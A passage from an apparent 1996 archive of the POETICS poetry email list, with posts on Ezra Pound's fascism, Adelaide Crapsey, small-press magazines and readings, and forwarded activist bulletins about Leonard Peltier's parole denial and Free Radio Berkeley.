least one tape recorder, and Richard Edmondson and Kiilu Nyasha from San Francisco Liberation Radio also recorded the event. San Francisco Liberation Radio will air parts of the tapes Wednesday night. A report on the Free Leonard Peltier action will most likely be on next months Food Not Bombs Radio Network program. Send $12 to The Food Not Bombs Radio Network, 3145 Geary Blvd., #12, San Francisco, CA 94118. [redacted] There were protests in Washington DC, Dayton, OH and Salt Lake City, UT and other cities calling on Bill Clinton to free Leonard Peltier.

THE REVOLUTION WILL NOT BE TELEVISED, BUT IT IS BEING BROADCAST

BUCK THE FCC
Support Free Speech
Free Radio Berkeley is under attack by the FCC because of its efforts to liberate the air waves from corporate control the airwaves. Farther legal success depends on your financial assistance. Donate today!

Free Radio Berkeley Legal Defense
1442 A Walnut Street #406
Berkeley, CA 94709

FREE RADIO BERKELEY GOES TO COURT FRIDAY, APRIL 12, 1996 AT OAKLAND COURT

FCC officer David Doon has indicated that has no respect for the Federal Courts claiming that they could take action regardless of how the Court rules. The San Francisco Police have excepted two helicopters equipped with spot lights from the Defense Department. They are going to fly 10 hours a day for one year. Will the helicopters be used at protests?

KEITH MCHENRY

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535. **Maria Damon**
Re: something else
Thu 21 Mar 1996

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re Sorrentino: i find his work funny, smart, erudite, but not "deep." i very much enjoy it in moderate doses. i took a class from him at Stanford and was in the trouble-making crowd, trying to get him to assign a book by a woman or a person of color. (we lost). i've mellowed since, as my presence on this list indicates. thus i remember him w/ fond nostalgia rather than a heaven-ward roll of the eyes. bests, maria d

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536. **Gabrielle Welford**

Update 3/20: Peltier Parole Denied (fwd)

Thu 21 Mar 1996

PAROLE DENIED TO LEONARD PELTIER, 3/20/96

The following is the text of the United States Parole Commission's letter of denial to Leonard Peltier:

Leonard Peltier: No change in continuing to a fifteen year reconsideration hearing, December 2008. Reasons: The December 1995 hearing led to a re-examination by the hearing examiner of the issues beyond the normal scope of an interim hearing, including the previous findings made by the Commission that you participated in the execution of two FBI agents. The limited purpose of an interim hearing under 28 Code of Federal Regulations 2.4 is to determine whether circumstances that have changed since the last hearing warrant a different decision. The Commission declines to reopen your case to re-examine your role in the offense since there are no significant changes regarding information on this issue from the information presented at your last parole consideration. You have not given a factual, specific account of your actions at the time of the offense that is consistent with the jury's verdict of guilt. Considering either theory of your participation in the crimes outlined by the government at the trial, the Commission therefore has no reasonable basis to find an explanation of the facts concerning the agents' execution other than the version presented by the government. See 28 Code of Federal Regulations S2.19C. The government has not changed its position that circumstantial evidence presented at your trial established your complicity in the executions of the agents. Their circumstantial evidence described in several of the decisions of the Eighth Circuit rejecting your appeals supports the previous findings that you participated in the executions. A full consideration of your case will not be appropriate until your 15 year reconsideration hearing. Appeal Procedures: The above decision is not appealable. 3/18/96 National Commissioners, Document Number DNJ OJ Referral pg 101 ---------- The above decision is a clear and blatant example of a complete disregard for justice. The USPC states in this decision that regardless of the information brought back to them from the Parole Officer presiding at the December 11th hearing, and despite the favorable recommendation that officer made following the government's distinct concessions that no direct evidence exists against Peltier nor do they have a clue as to who was culpable in the deaths of their agents, that it is more convenient to keep an innocent man in prison than to deal with the controversy and impropriety that may erupt regarding this case. They even go as far as stating that Leonard has never given a factual account "consistent with the jury's verdict of guilt". How can an innocent man give a factual account of guilt when he is not responsible?!? Rather

than face the FACTS of Peltier's outrageous incarceration, the USPC would rather scold its own employee for overstepping his bounds where they should commend him for his social conscience. Still a mystery: The Parole Officer who made the favorable recommendation has since lost his position within the USPC. VOICE YOUR OUTRAGE United States Parole Commission--Phone [redacted], [redacted], Fax them at [redacted], [redacted], [redacted], [redacted], Fax Janet Reno at [redacted], [redacted], phone [redacted], [redacted], Deputy AG Jamie Gorelick fax at [redacted], [redacted], phone [redacted], Call the White House Chief of Staff fax[redacted], Legal Counsel to President fax [redacted], White House Comment Line at [redacted] and Contact your elected officials.

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537. **Gabrielle Welford**
ACA at Las Vegas
Thu 21 Mar 1996

Anyone going to the Am Cult ASsoc conference in Las Vegas next week? I'll be there (tra la) starting Wednesday. Reading a paper on Mary TallMountaon on Thursday morning. Be good to meet anyone going... Gab.

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538. **Maria Damon**
(no subject)
Thu 21 Mar 1996

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damon"?

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539. **Steve Carll**
Re: Request for addresses
Thu 21 Mar 1996

At 02:12 PM 3/20/96 PST, fjb wrote:
> could someone post information (address, price) for lyric&?
>I've read of this several places but can't find it anywhere, even,
>say SPD.

lyric& is available for $6 from Avery E.D. Burns, P.O. Box 640531, San Francisco, CA 94164-0531. Subscriptions are available at 2 issues for $12 (postage included). A few back issues of #s 1,2, and 3 are still available for $6 apiece. Issue 4, just out, includes work from Pat Reed, me, Jim Leftwich, Dennis Barone, Dale Smith, Lyn Hejinian, M. Kettner, Peter DeRous, Eric Selland,

Laurie Price, Andrew Mossin, John Perlman, George Albon, Elizabeth Robinson, Darin DeStefano, Nico Vassilakis, Michael Basinski, Pam Rehm, Greg Biglieri, Alicia Wing, Travis Ortiz, Kevin Magee, Kristin Burkart, Brian D. Lucas, Rodrigo Toscano, Anselm Berrigan, Joe Noble, Eleni Sikelianos, the editor, and a cover by Spencer Selby.

Also, lyric& #5 will feature Italian poetry, so if anyone has any leads, drop Avery a line or email them to me and I'll get them to him. Thanks.

Steve

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540. Laura Moriarty
Re: New Laura Moriarty Book
Thu 21 Mar 1996

Chris, thanks for the advertising!

However, I wanted to make an immediate correction. The Gerbode Foundation Awards were judged by Rosmarie Waldrop, Bradford Morrow, M. Mark and Jewel Gomez, as well as Robert Creeley.I checked with Frances Philips to get the names of everyone and she said also that they were peers in the judging.

ALSO - I've taken down the address and hope to become, as I have meant to for awhile, an immediate subscriber to WITZ!

Best - Laura Moriarty

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541. Chris Stroffolino
Re: Forgotten hours chime louder/In the meantime...
Thu 21 Mar 1996

Marisa---great post (and great R.B.D. quote) on lineage/dynasties...
something that needs to be said over and over....
cs

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542. JNORTON.US.ORACLE.COM
More Pound cake, anyone?
Thu 21 Mar 1996

This Tuesday's NY Times (3/19/96) ran an obitutary on Ezra Pound's longtime companion Olga Rudge. They first met in 1928. She kept the house for him and was a traffic cop, keeping many of his admirers at a distance.

She said: "We get hippies coming here and when we're in Rappelo. They have embraced the wisdom of Ezra Pound, but they haven't read him. One of them pitched a tent outside. I gave him coffee, but no Ezra. Another was so persistent in his devotion that I told him, 'I'll let you in if you can quote one line of Ezra Pound -- any one of the thousands he's written.' He couldn't.

As for the biographers: "They ring my bell and announce they are writing books that 'will tell both sides.' Both sides? Both sides? What do they think we are? Ezra Pound is no pancake!"

John Norton

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543. Steve Carll

antenym 9 publication/reading

Thu 21 Mar 1996

This is to announce the imminent publication of Antenym #9 (in April).

To celebrate, a contributors' reading and publication party will be held at 3 PM, Sunday the 14th of April, at Canessa Park Gallery, 708 Montgomery St. (at Columbus) in San Francisco. Admission will be $5. The reading will feature Anselm Berrigan, Avery E.D. Burns, Pamela Lu, Adam Cornford, Chris Daniels, Leslie Davis, Shauna Hannibal, and John McNally. Hope to see you there!

Antenym 9's 50 pages of poetry and art feature the above-named folks, plus Benjamin Baxter, Jake Berry, Mark DuCharme, Graham Foust, Heather Fuller, David Golumbia, Bob Harrison, Bob Heman, Pierre Joris, Richard Kostelanetz, Tim Krafft, Hank Lazer, Jim Leftwich, Sheila E. Murphy, Spencer Selby, Eric Selland, Steven Howard Shoemaker, Gustaf Sobin, Thomas Stolmar, and Paul Wiedenhoff. It was edited by Steve Carll and designed by Kristin Burkart. It's available for $3 plus $1.50 postage payable to Steve Carll, 106 Fair Oaks St. #3, S.F., CA 94110-2951.

Back issues 1-6 are available at the Electronic Poetry Center (http://writing.upenn.edu/epc/ezines/antenym). #7 should be there soon. #8 still available on real paper for $3.50 (includes postage).

Once again, submissions are welcome!

Steve

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544. **Joe**
Re: POETICS Digest - 19 Mar 1996 to 20 Mar 1996
Thu 21 Mar 1996

An interesting essay for folks interested in the Pound/Fascism question is Rachel Blau DuPlessis' "Objectivist Poetics and Political Vision: A Study of Oppen and Pound" in "George Oppen: Man and Poet." (Nat.Poe.Found.) Also, there's Jean-Luc Nancy's essay "The Inoperative Community" in his book of the same name, published by Minnesota Press where he discusses the notion of fascist communion and a more left oriented idea of community. Franklin Bruno - Avery Burns publishes Lyric& and you can contact him at Lyric& Press, P.O. Box 640531, San Francisco, California, 94164-0531. He is just bringing out his most recent issue. I know he would like to hear from anyone on the Poetics List. Unfortunately, he doesn't have e-mail, but you can write him,or I would be glad to pass along any messages or requests for subscription to him.

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545. **Edward Foster**
Re: Jeanne McGahey
Thu 21 Mar 1996

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ron: don't quite catch yr. tone (or hope i don't) re: the silligism on crapsey, but as for Barlow, yes he was part of Hart's circle, and they eventually published a selection from his works. i don't think barlow was as interesting a poet as mcgahey or robert horan, but he certainly\ led the more interesting life. a beautiful boy, i've been told--a wild, rimbaud-like figure, whom the Activists thought would prove the greatest of the group. i don't know how much interest he would have here, but i'll enter some examples of his work if anyone wants to see it. in any case, he did wind up in mexico (the olson connection), and one day hung a sign on his door saying he didn't want to be disturbed: he needed a long sleep. And then took twenty-one seconal capsules.

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546. **Loss Glazier**
Some EPC Stats
Fri 22 Mar 1996

Here are some interesting stats re EPC usage. There were 12,616 transactions this months. (If only our presses would do so well!) Here goes: (selected results -- I'll make a link from the EPC home page for the full stats, EPC contributors might enjoy checking how many times they were accessed)

(#'s indicate the # of times a directory was accessed)

3240 /epc/

1237 /epc/authors/

556 /epc/poetics/

546 /epc/ezines/

384 /epc/connects/

302 /epc/rift/

230 /epc/biblioteca/

172 /epc/linebreak/

165 /epc/mags/

158 /epc/presses/

150 /epc/documents/

128 /epc/sound/

114 /epc/epclive/

79 /epc/ezines/we/

288 /epc/documents/experiments

286 /epc/smallpress.html

203 /epc/documents/obits/

181 /epc/ezines/diu/

170 /epc/authors/bernstein/

160 /epc/authors/cage/

153 /epc/announcements.html

122 /epc/poetics/archive/

97 /epc/documents/maglist

94 /epc/presses/viet

90 /epc/authors/ashbery/

86 /epc/authors/creeley/

81 /epc/authors/kelly/

74 /epc/authors/sherwood/

71 /epc/authors/silliman/

69 /epc/authors/olson/

69 /epc/mags/sulfur/

64 /epc/authors/glazier/

60 /epc/ezines/brink/

58 /epc/authors/bunting/

57 /epc/ezines/passages/

56 /epc/ezines/tree/

56 /epc/authors/howe/

50 /epc/authors/eigner/

46 /epc/documents/bookstores

31 /epc/authors/spinelli/

31 /epc/authors/glazier/e/

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547. **Eryque Gleason**
Re: FREE PELTIER (fwd)
Fri 22 Mar 1996

all this hub-bubbing about peltier, what'd he supposedly do? and what happened? i mean besides he was wrongfully imprisoned, the details i mean. i always like to know what i'm talking about before calling the politicians, gives me an edge on the fuckers...

eryque

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548. **Ron Silliman**
Adelaide Crapsey
Fri 22 Mar 1996

Adelaide Crapsey (1878-1914) died young, but was otherwise of the same generation of Gertrude Stein and Robert Frost, for example.* All of her books were, I believe, posthumous (two volumes, each called Verse, and the A Study in English Metrics, which I read thru when I was in college). [Since Knopf published both one volume of the poems and the critical book, they might still be hiding in larger, older libraries.] She counted everything when thinking about a poem (you can imagine how I feel about that!) and did not simply work with received categories. Many of her poems are 5 liners, always with a 2-4-6-8-2 syllable count:

AMAZE

I know
Not these my hands
And yet I think there was
A woman like me once had hands
Like these.

She is nowhere nearly as far "out there" as an innovator, say, as Loy, but her sense of generative form is evident. Can anybody tell me if she was the first American female poet to produce a critical/theoretical volume? It seems possible.

I was using her as a figure of a branch of modernism that did not carry itself forward (exactly an instance of the "disappeared"). In Crapsey's case, she was not part of a "scene" that I can tell of (not really an imagist or even an Amygist), and her use of inverted syntax really dates the work. I take the Activist poets to be a similar phenomenon. As are, for that matter, virtually all west coast poets before WW2 -- even Michael Davidson's great book on the SF Renaissance fails to make much of the links between, say, Ina Coolbrith and George Stirling and the scene that emerged later around Rexroth.

*Another poet born in the 1870s was Joyce Kilmer, who likewise died young. It is intriguing in retrospect to see just whom one gets bunched with in literary history -- I don't think of Kilmer and Stein as "of the same generation" at all.

Ron Silliman

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549. Michael Leddy
Re: Sorrentino
Fri 22 Mar 1996

Sorrentino's Selected Poems is still available from Black Sparrow. There are some interesting poems in Talisman's William Bronk issue and in Arshile 3, though they don't explain where Sorrentino's poetry has been since the Black Sparrow volume.

Aberration of Starlight is a remarkable novel. And the Dalkey Archive's claims for it in the "classroom" are not exaggerated. Nice too if you're from Brooklyn.

Michael Leddy
Charleston, IL (nee Brooklyn)

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550. **Kevin Killian**
Re: Adelaide Crapsey
Fri 22 Mar 1996

Thnak you, Ron Silliman, for restoring my faith. Hey everyone, Ron's not such an ogre after all! Soory to doubt you for even a second! XXX Kevin K.

Mea culpa.

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551. **Aldon L. Nielsen**
Re: U.D.C.
Fri 22 Mar 1996

Have heard nothing till now of U.D.C. cuts & protest -- as a graduate of that school (where, though we didn't read Olson in class, I did have classes with C.L.R. James & other equally great scholars [Gil Scott Heron, too, but that's another story]) I want to know as much as possible --

Could someone give me relevant dates so I can look up Washington Post coverage in library when I get back from Detroit -- also, if anybody can lay hands upon and xerox relevant coverage by papers not likely to be in the UCLA library (*city paper, etc) & send them to me, I would be truly grateful:

A.L. Nielsen
1743 Butler Avenue
Apt. #2
Los Angeles, CA 90025

From what's appeared here on the list, it sounds as though this was as significant a chain of events as the student protest in New York last year -- but as per usual, no coverage in most news outside D.C.

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552. **Jeffrey W. Timmons**
Re: U.D.C.
Fri 22 Mar 1996

Aldon,

Hey, I actually found, after my initially unsuccessful exploration, an article buried in the VERY BACK of the NYT in this week's wednesday (or perhaps thursday's) edition. I didn't find it the first time--cause I usually recycle the business section. The article was terribly vague, though, and actually left more unsaid than it explained. I guess that shouldn't surprise me.

If you find out more, please pass it along.

Jeffrey Timmons

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553. **Jeffrey W. Timmons**
Re: U.D.C.
Fri 22 Mar 1996

Sorry everyone, I didn't mean to send my recent post to the list. booboo.

jeffrey timmons

↑ Index

554. **Edward Foster**
Re: Adelaide Crapsey
Fri 22 Mar 1996

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ron: i'm interested to see george stirling (that is the spelling?) mentioned; he was deeply transformed by french symbolists and produced an often dark but formal verse with the french not far away. rexroth like to see himself as a principal conduit for french influence in america, and stirling's somewhat more misty version would not have pleased him. he liked to say that stirling killed himself the day he (Rexroth) arrived in San Francisco. actually, as i recall, that's wrong--together with a number of other rexroth claims. rexroth was such a good publicist--and terrific poet-- that his prejudices may have led people away from some minor, but real, pleasures, like stirling. stirling's work is very "aesthetic" with all the associations, including homosexuality, that this implied for his generation. and stirling was very close to jack london. whether or not they were lovers, i don't know, tho there are those assert that they were. in any case, london's boyishness, which some of us would find one of his most beguiling and attractive features, was no more acceptable to rexroth than stirling's aestheticism and misty symbolism, and rexroth could be, quite unfairly, vicious toward them both. i was very glad that the ferlinghetti/peters book on the bay area gave attention to the london/stirling circle. there's also a fairly competent TUSAS book on stirling, and much has been done on london, tho most of it is biographical and anecdotal. but _martin eden_ is quite a good book and has very interesting (puzzling and ambiguous) fictional portrait of stirling. -- Another french presence in the bay area worth looking at is c.f. mcintyre. his translations of the symbolists are still around. he also published original work, musical and vague. he was in berkeley while rexroth was establishing his anarchist circle in san francisco, but i'm not aware of any overlap. if i recall correctly, one of the early issues of leite's _circle_ (maybe the first issue) has an article on rilke by mcintyre (his rilke translations are also still in print. a norton

book?). anyway, i've often wondered if this was one of the things that led spicer to rilke; that's the right time (c. 1946) exactly. -- i once asked various survivors of that era about mcintyre, what he was like and so forth, and what i got was stange looks, as in (i thought) let's be discrete. there was something about his drinking. -- But I'd like to know more, and I think there was a book (another of those ghosts) promised, tho it did not appear. -- whatever the case, myintyre, like stirling, should be pursued, if only to define what _didn't_ happen but could have, if they had had rexroth's abilities as poet/publicist. it was after all a perfectly legimate direction, and it's interesting to speculate what might have happened in west coast poetry in the 1950s and 1960s (and, therefore, now) if either had been able to modulate their french sources into english as well as stevens did. -ed

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555. **Peter Jaeger**
Re: Visual Poetry
Fri 22 Mar 1996

Can anyone contribute to a list of addresses (snail or email) for magazines that currently & primarily publish visual poetry, in Canada, States, anywhere?

Peter Jaeger

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556. **Maria Damon**
Re: Adelaide Crapsey
Fri 22 Mar 1996

---

i think joyce kilmer was male, if i've been told correctly. --maria d

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557. **Charles Bernstein**
Re: reading Pound
Fri 22 Mar 1996

> What Greek logomachy had in common with the Hebrew poison was debate, dialectic, sophistry, the critical activity that destroys faith. ....
>
> The Hebrew attack, crying our for vengeance, began by destroying the Roman Gods. ...
>
> But faith is weakened by debates, [which are] more or less rabbinical and if not rabbinical at least anti-totalitarian.

`Che l'intenzione per ragione vale."
Faith is totalitarian. The mystery is totalitarian.
The sacred symbols are totalitarian. The destruction of
the images of the Gods did not increase faith. ...
... That fatal inclination to want to understand
logically and syllogistically what is incomprehensible is
Hebrew and Protestant.
--Ezra Pound, 1942 (in _Meridiano di Roma_), qtd
by Peter Nicholls in _EP: Politics, Economics and Writing_

*

THUS, in thanks to Jerry, Marjorie, Jackson, Rachel, and the rest of the Poetics "Jews" and Protest-ants (irregardless of ethnic origin) who insist on debating what they/we cannot understand. This is Charles Bernstein speaking ... from the Upper West Side of Manhattan, home of Zabar's and Barney Greengrass, the Sturgeon King.

& now for some further sophistry: "the critical activity which destroys faith":

*

Many of the poets and critics who discount Pound do not do so because of his fascism but because of a dislike for collage, parataxis, and the very strikingly rhetorical surfaces of Pound's poems. They also discount other poets, working in related modes, whose politics are quite contrary to Pound's. The converse of this is also true, as the remarkable posts by Rothenberg, Mac Low, and Perloff, among others, have shown. In this context, I don't take the new wave of Pound criticism that regards fascism as central to Pound's poetic project to be a move away from reading Pound or as a way of undermining his significance or influence. This new Pound criticism, which in some ways incorporates aspects of what has come to be called cultural criticism, or cultural and gender studies, tries to integrate Pound's political and economic ideas with his poetic practice. Like all critical projects, this one is limited. Much of the best Pound criticism before this period tended in various ways to cauterize or surgically remove the cancerous parts of Pound's work, or career, in an attempt to save the good parts. Partly this was a strategy to "save" the work, but it was equally a forceful interpretative system, an "apolitics" of poetry if you will. (Peter Nicholls: "Most previous criticism of [Pound's] work has, from a variety of motives, sought to keep these different strands separate, tending in particular to drive a web between the 'literary' and poltical dimensions in his writing.") Starting in the 1980s, critics like Nicholls (a deep lurker on this list), Rachel DuPlessis, Richard Sieburth, Jerome McGann, Burton Hatlen, Bob Perelman, and others, but most militantly Robert Casillo, tried to integrate Pound's political and economic and gender ideologies into the "tropical system" that is his poetry. In

doing this, these readers were giving Pound the respect of taking him at his word, in contrast to those critics who, like well meaning relatives, were often forced to say Pound didn't know what he was talking about. The point here is not to say one approach or the other is right but to note that these approaches allow for different readings of Pound's poetry. None of this work, it seems to me, ought to drive one from reading Pound; quite on the contrary. (Possibly this may be the work of a distinctly younger generation of scholars who no longer felt that raising these issues aligned their views with those who roundly dismissed Pound in the postwar period; this earlier polarization pushed those who went to the defense of Pound's poetry to avoid dwelling on the relation it has to his politics and views on money.) Casillo and Sieburth actually brought me back to reading Pound; that is, reading through the fascism and masculinism brought me from a passive, largely unarticulated, aversion to Pound, to an active, and ongoing, interest in all aspects of his work. Certainly I have been polemical in my essays on Pound, but not without the ironic realization that Pound relished just this sort of poetic polemicism. Reading Pound through the fascism means reading Pound in the most specific social and historical terms. It also means reading poetic forms politically, as an economy of signs; it means thinking through the implications of poetic structures, rather than imagining them ever to be neutral or transparent. A poem including history means we must read the history too, and this history is writ in the style, in the symbolic/semiotic economy of the poem, in the material means of production, as much as in Pound's "disembodied" "ideas" -- a matrix of material meanings that Christine Froula so brilliantly calls "The Pound Error": error as much in Joan Retallack's sense of typos and errancy as in political misjudgment: it's _all_ there. Poetry is not worth reading because it is comfortable or happy or understandable or uplifting, any more than history or philosophy is. Nor does reading for a politics of poetic form mean that forms are liberating; more often we find, as Ray DiPalma once wrote, that "all forms are coercive". If one starts with the assumption that a poetry should be truthful or beautiful, that it's meaning should transcend the circumstances of its production -- then of course talk of the politics of Pound's poetic forms will seem dismissive of Pound's work, since it pulls that work down from the heights of poetic vanity into the real-politics of the actual poem in actual history. People say, Pound was deluded, Pound was insane, Pound was paranoid, Pound was delusional, as a way to explain away, or possibly contextualize, his fascism. I don't doubt this, but it doesn't get me anywhere. Fascism itself was (IS) delusional and paranoid, and Hitler and Mussolini and Goebbels are certifiable in my book, as are the shouting Brown Shirts pictured in Triumph of the Will (don't we call this "mass hysteria"?). [Highly recommended, in this context, in the recent documentary on Riefenstahl, "The Wonderful, Horrible World of Leni Riefenstahl".] I agree with Pierre Joris that what's important to understand as we approach the end of this

long century is the nature of this delusion, of this insanity, that has attracted so many otherwise admirable, sometimes brilliant, people, groups, indeed cultures. Of course Pound was delusional during the period of his Radio Speeches; reading Pound means reading through these delusions, trying to come to terms with them. It doesn't mean that in making these judgments one is free of one's own delusions, or that such a reading gives a complete account of this poetic works, which demands multiple, contradictory, readings.
Pound was not just a fascist; he had different politics, and poetics, at different points in his life and even at some of the same points. Nicholls notes that from 1930 to 1937, Pound was eager to keep a dialogue open with the American Left; and earlier in his life his views seemed more Left than Right, although, reading Nicholls, one begins to see this as much as a weakness in the Life/Right distinction as an inconsistency on Pound's part. Nicholls also shows that "perhaps the most disquieting thing about [Pound's] savage propaganda is that it was to some degree an extension of ideas that had governed the earlier Cantos." Indeed, Nicholls's tracings of the (de?)evolution of the practice of "authority" and "ideological closure" in Pound's work is crucial for understanding a fundamental dynamic of modernism. Yet Pound's poetry is never simply a direct reflection of his politics; indeed, I would argue quite to the contrary that Pound's work contradicts his fascism. The fascist reading of Pound's poetic practice is valuable as one approach; it is not a final or definitive reading; as with all critical methods, it illuminates some issues while obscuring others. Of course, as Casillo's book and other Pound criticism shows, it also may push the criticism to the polemical and even hysterical, as if the critic feels she or he is wrestling with a demon more than interpreting a poem. This too needs to be historicized and contextualized before it can be judged. Pound told Allen Ginsberg he suffered from "that stupid, suburban prejudice of antisemiticm", as if he should have been immune from such a low, "suburban" consciousness. But one thing that is notable about Pound is that he does not appear to have been "personally" antisemitic, which would have been in no way unusual for a person of his generation and background. His attacks on Jews are not related to his hatred of individual Jews or his desire to be a member of an "exclusive" country club. His views of Jews are highly theoretical and structural, projecting Jewishness, more than individual Jews, as the core force in the destruction of the most cherished values of the West. This demonization is not a "stupid suburban prejudice", it is the systematic paranoia-producing ideology that has come to be called by the fascism. (Burton Hatlen: "we will all seriously misundertand fascism if we insist on seeing it as a "right-wing" poltical movement. For fascsim ... blended an authoritarianism ususally associated with the `right' and a `populism' ususally characteristic of the `left'.") Marjorie Perloff is quite right to point to it in Buchanan and the fundamentalist right; they too have gone well beyond "stupid suburban

prejudice", even as they bank on it. It is scary to see the degree to which fascist ideas have rooted themselves so deeply in mainstream American life, often in the guise of family values and consonance with a natural order. Pound's most fascist polemics resonate in an eery way with the current wave of attacks on the arts, gays, the disenfranchised poor, immigrants, feminism, and the cities. I say this because there is often a tendency among Americans to exoticize fascism; Pound did his best to bring it home. There are any number of fascist writers who are of virtually no interest to many or probably any of us on this list. And there are virulent antisemites like Celine, whose work I like more than is comfortable to say, but which I don't find as structurally and "tropically" rich in terms of the sort of issues I am raising here. Pound's work, it seems to me, not only allows for but provokes an ideological reading; it insists that it be read, form and content, for its politics and its ideas. And it is precisely this that is one of the _enduring_ values of his work. The dystopian aspects of Pound's work are important to fully explore, even with tempers flying off the page, because he is a fundamental a part of that elective tradition (thinking of Christopher Beech's useful sense of Pound's influence in his _ABC of Influence: Ezra Pound and the Remaking of American Poetic Tradition_) that, as Beach and others have noted, consists mostly of poets whose politics and economics differ so radically from Pound's. But the more important Pound is for that tradition, then the more important it is to understand the disease that consumes his work, which cannot be disentangled from what is "good" about it. Nicholls, for example, notes how Pound's insistence on "making it new" made for an affinity with related fascist ideals. The significance of "the Pound tradition" requries that we interrogate it for what it excludes as much as what it makes possible: interrogate the assumptions of poetic lineages not just to acknowledge their effects but also to counteract their effects. (Perhaps one aspect of this elective tradition is a commitment to difficult writers and difficult writings; after spending some weeks lately writing about Laura (Riding) Jackson, that possibility is hard to miss.) Marjorie urges us to "begin at home" with our political concerns, to look around at what is happening in 1996 in America. Given the context of her own life experience, her warning is all the more ominous, all the more to be headed. But also, I would say, I hope within the spirit of her wake- up call, but also in the spirit of "debate", that in the context of this Poetics list, taking on Pound's fascism is also a way of starting at home.

*

N.B. The first paperback edition of The Cantos (expanded) is due this spring from New Directions

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558. **Jordan Davis**
Re: Nourbese Philip
Fri 22 Mar 1996

A step away from them:

The Poetry Project at St Mark's Church will host a reading
by Yukihide Maeshima Hartman & M. Nourbese Philip
on April 29, 8 p.m.
Suggested contribution of $6.

St. Mark's is at 131 E 10th St, NYC 10003.

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559. **Brian McHale**
Re: Adelaide Crapsey
Fri 22 Mar 1996

By way of supplementing Ron's account of Crapsy, let me just add: "the" book on Crapsey is by Karen Alkalai-Gut, entitled "Alone in the Dawn." Full-dress bio- graphy, with some reflection on AC's poetics, & reprints here & there much of her (rather small) oeuvre. Brian

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560. **Maria Damon**
Re: environmental/cultural antisemitism
Fri 22 Mar 1996

charles is right to write of antisemitism in first half of century to be structural and theoretical. i'm reading a book of essays responding to otto weininger, self-hating austrian jew who wwwrote 'sex and character" in 1903, vicious tho highly abstract attack on women and Jews, then killed himself in the same house that beethoven died in. weininger participated in/crystalized much of the "characterology" of his time, that scientized and racialized personality types, temperaments, various physical and mental abilities, etc. many self-respecting Jews, like Gertrude Stein and Freud, found aspects of weininger's work appeal- ing. i have no opinion on the current pound debate raging on this list; i'm not a big fan, but not allergic either.

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561. **David Baratier**
Odysseas Elytis
Fri 22 Mar 1996

Last night I hear from my friend Ethel at APR that Odysseas Elytis had died earlier in the week. I'm not sure if this is common knowledge (or even correct for that matter). Considering I don't read daily media, this might be known, but is there anyone else on the list who has any more information. What I do know is that the Axiom Esti is a phenominal piece, one that taught me an intense layering of the lyric.

[redacted]

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562. **David Carl**
Re: POETICS Digest - 20 Mar 1996 to 21 Mar 1996
Fri 22 Mar 1996

> *You know, we have to do something to ensure that Dalkey Archive doesn't succumb to commercial pressures now that its main editorial God, Steven Moore, is leaving. ---Marisa (debeetled)*

Too late, they have already pulled their books from SPD and are now being distributed by a "large" distributor (one of the universities I believe). . .

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563. **David Carl**
you decide
Fri 22 Mar 1996

"It would seem that the communion between a man and his power to choose cannot long be endured. Among the rebels, some have unconditionally surrendered to the Communist discipline, others to a revealed religion, while others-- those most loyal to their youth-- have split their lives in two: in their roles as citizens, husbands, lovers, or fathers, they follow the rule of a fairly conservative reason, localizing their revolt in literature or poetry, which thereby becomes a religion. "It is true enough that sheer rebellion is insincere. As soon as we desire something or call others to witness, that is, as soon as we live, we imply that the world is, in principle, in harmony with itself and others with ourselves. We are born into reason as into language. But the reason at which we arrive must not be the same reason we abandoned with such a flurish. The experience of unreason cannot simply be forgotten: we must form a new idea of reason. . .

"Likewise, if we are to rediscover a system of morals, we must find it through contact with the conflicts revealed by immoralism. As Simone de Beauvoir's book L'INVITEE points out, it is a question of knowing whether there is indeed a certain line of conduct which can justify each man in the eyes of his fellows or whether, on the contrary, our condition does not make all ways of behaving mutually unforgivable and whether, in such a situation, all moral principles are not merely a way to reassure rather than to save ourselves, a way to wave questions aside instead of answering them. In morality as in art there is no solution for the man who will not make a move without knowing where he is going and who wants to be accurate and in control at every moment. Our only resort is the spontaneous movement which binds us to others for good or ill, out of selfishness or generosity."

Merleau-Ponty SENSE AND NONSENSE

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564. chris daniels
Re: reading Pound
Fri 22 Mar 1996

---

charles ---

thanks for that summing-up. yeah.

chris
---
christopher daniels <[redacted]> 3.22.96 8:42:49 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wuorinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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565. chris daniels
yet another open letter
Fri 22 Mar 1996

---

due to an impassioned request from larry price, i have decided NOT to unsubscribe from this list. i am issuing a public warning to those who flamed me: i

have saved all yr vileness and if you dare to flame me again i will post everything you have sent me, except for the nearly 100 pieces of blank mail. it was very stupid of you to flame me in the first place --- even stupider not to do it anonymously. i've got you, proud bullies, right where i want you.
---------- christopher daniels <[redacted]> 3.22.96 8:52:30 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wuorinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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566. **Gary Hawkins**
Re: Visual Poetry
Sat 23 Mar 1996

If you want information about the Australian concrete poetry scene, contact
TT.O. (greek symbols Pi and Omicron) and thalia c/o
Collective Effort Press
P.O. Box 2430V GPO Melbourne, Australia

They printed an anthology of works by TT.O. (say Pi O), thalia, ACR, Jas Duke, and loads of others who continue today. Also, they can hook you up with the Italian scene, namely a dictionary of women's language using concrete poetry. Tell them you got the info from Laura Hope-Gill; give 'em my best.

Laura Hope-Gill c/o GHawkins

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567. **Ron Silliman**
The Bay scene in 1950s
Sat 23 Mar 1996

Ed,

I wonder if any of the KQED shows that Rexroth still survive. He would sit in a chair next to a table with a little bookcase behind him (vain attempt at "home library" effect) and comment on 10 or 12 books per show. This was in the late 1950s more or less (we got the telly in '55). Often just pick up one, sniff at it and grumble, "now this is real poop." Other than Readers Digest Condensed

Novels and a World Book Encyclopedia, we had no books in our house, but for some reason my grandparents did watch that show with some regularity. I was too young to have figured out how to actually get hold of those books (that came later). Rexroth was pretty much a household word in the Bay Area, even in households where writers were not household words in any sense.

